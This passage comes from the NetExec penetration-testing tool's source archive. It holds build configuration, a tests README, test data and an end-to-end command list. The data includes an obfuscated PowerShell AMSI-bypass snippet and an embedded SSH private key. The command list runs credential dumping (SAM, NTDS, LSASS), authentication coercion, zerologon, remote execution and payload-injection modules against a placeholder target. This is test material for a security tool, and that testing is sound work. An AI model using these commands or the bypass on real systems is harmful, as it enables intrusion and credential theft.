pattern = "(?P\\d+\\.\\d+\\.\\d+)" format = "{base}+{distance}.{commit}" [build-system] requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" [tool.poetry.group.dev.dependencies] flake8 = "*" shiv = "*" pytest = "^7.2.2" ruff = "*" [tool.ruff] target-version = "py310" exclude = [ ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" ] line-length = 65000 preview = true [tool.ruff.lint] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF", "W" ] ignore = [ "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012", "RUF052", "RUF059" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings # Allow autofix for all enabled rules (when `--fix`) is provided. fixable = ["ALL"] unfixable = [] per-file-ignores = {} # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" [tool.ruff.lint.flake8-quotes] docstring-quotes = "double" inline-quotes = "double" multiline-quotes = "double" NetExec-1.5.1/shell.nix000066400000000000000000000002661514706431700147140ustar00rootroot00000000000000{ pkgs ? import {} }: let myAppEnv = pkgs.poetry2nix.mkPoetryEnv { projectDir = ./.; editablePackageSources = { my-app = ./src; }; }; in myAppEnv.env NetExec-1.5.1/tests/000077500000000000000000000000001514706431700142235ustar00rootroot00000000000000NetExec-1.5.1/tests/README.md000066400000000000000000000012001514706431700154730ustar00rootroot00000000000000# nxc Tests ## Running Tests ### Unit Tests * Install nxc (either in venv or via Poetry) * Run `pytest` (or `poetry run pytest`) ### End to End Tests * Install nxc (either in venv or via Poetry): `poetry install --with dev` * Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter * Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS` * For testing standalone binaries (e.g. windows) run: `python tests/e2e_tests.py --executable dist/nxc.exe -t $IP -u $USER -p $PASS` * To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flagNetExec-1.5.1/tests/data/000077500000000000000000000000001514706431700151345ustar00rootroot00000000000000NetExec-1.5.1/tests/data/test_amsi_bypass.txt000066400000000000000000000003701514706431700212460ustar00rootroot00000000000000[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true) }catch{}NetExec-1.5.1/tests/data/test_file.txt000066400000000000000000000000561514706431700176540ustar00rootroot00000000000000Test file used to test FTP upload and downloadNetExec-1.5.1/tests/data/test_hashes.txt000066400000000000000000000004211514706431700202040ustar00rootroot00000000000000DEADBEEFDEADBEEFDEADBEEFDEADBEEF DEADBEEFDEADBEEFDEADBEEFDEADBEEF:DEADBEEFDEADBEEFDEADBEEFDEADBEEF TooShort ToooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooLong fc525c9683e8fe067095ba2ddc971889 aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889NetExec-1.5.1/tests/data/test_key.priv000066400000000000000000000050621514706431700176700ustar00rootroot00000000000000-----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- NetExec-1.5.1/tests/data/test_passwords.txt000066400000000000000000000000551514706431700207610ustar00rootroot00000000000000Passw0rd! None ftp guest iamthekingoftheworldNetExec-1.5.1/tests/data/test_users.txt000066400000000000000000000000621514706431700200730ustar00rootroot00000000000000Administrator Anonymous ftp guest robert.baratheonNetExec-1.5.1/tests/e2e_commands.txt000066400000000000000000000707541514706431700173350ustar00rootroot00000000000000##### Check Generic Help Options netexec -h ##### SMB netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --loggedon-users netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --computers netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --qwinsta netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --tasklist netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --taskkill PID netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --taskkill PROCESS_NAME netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-auth netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME --self netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method smbexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method mmcexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --no-admin-check ##### SMB PowerShell netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method atexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method smbexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method mmcexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method atexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method smbexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method mmcexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use? netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem" netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS ##### SMB Modules netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-library-ms -o SERVER=127.0.0.1 NAME=test netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-library-ms -o SERVER=127.0.0.1 NAME=test CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_interfaces netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -o COOKIES=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M hash_spider netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M impersonate netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M iis netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M install_elevated netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M security-questions netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M remove-mic netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M backup_operator netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlm_reflection netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS # currently hanging indefinitely - TODO: look into this #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_discover #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M keepass_trigger -o ACTION=ALL USER=LOGIN_USERNAME KEEPASS_CONFIG_PATH="C:\\Users\\LOGIN_USERNAME\\AppData\\Roaming\\KeePass\\KeePass.config.xml" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy # You must replace this with the proper CA information! #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M notepad netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M notepad++ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=petitpotam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=printerbug netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=shadowcoerce netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=mseven netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=dfscoerce netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o LISTENER=127.0.0.1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=petitpotam LISTENER=127.0.0.1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=printerbug LISTENER=127.0.0.1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=shadowcoerce LISTENER=127.0.0.1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=mseven LISTENER=127.0.0.1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o METHOD=dfscoerce LISTENER=127.0.0.1 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs LISTENER=127.0.0.1 # Will need to change the PID for your test system netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir' netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o NAME=test CLEANUP=True # spider_plus takes a while to run, so it is commented out during normal testing # netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -o MSG="Message: {}" netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lockscreendoors # test for multiple modules at once netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M 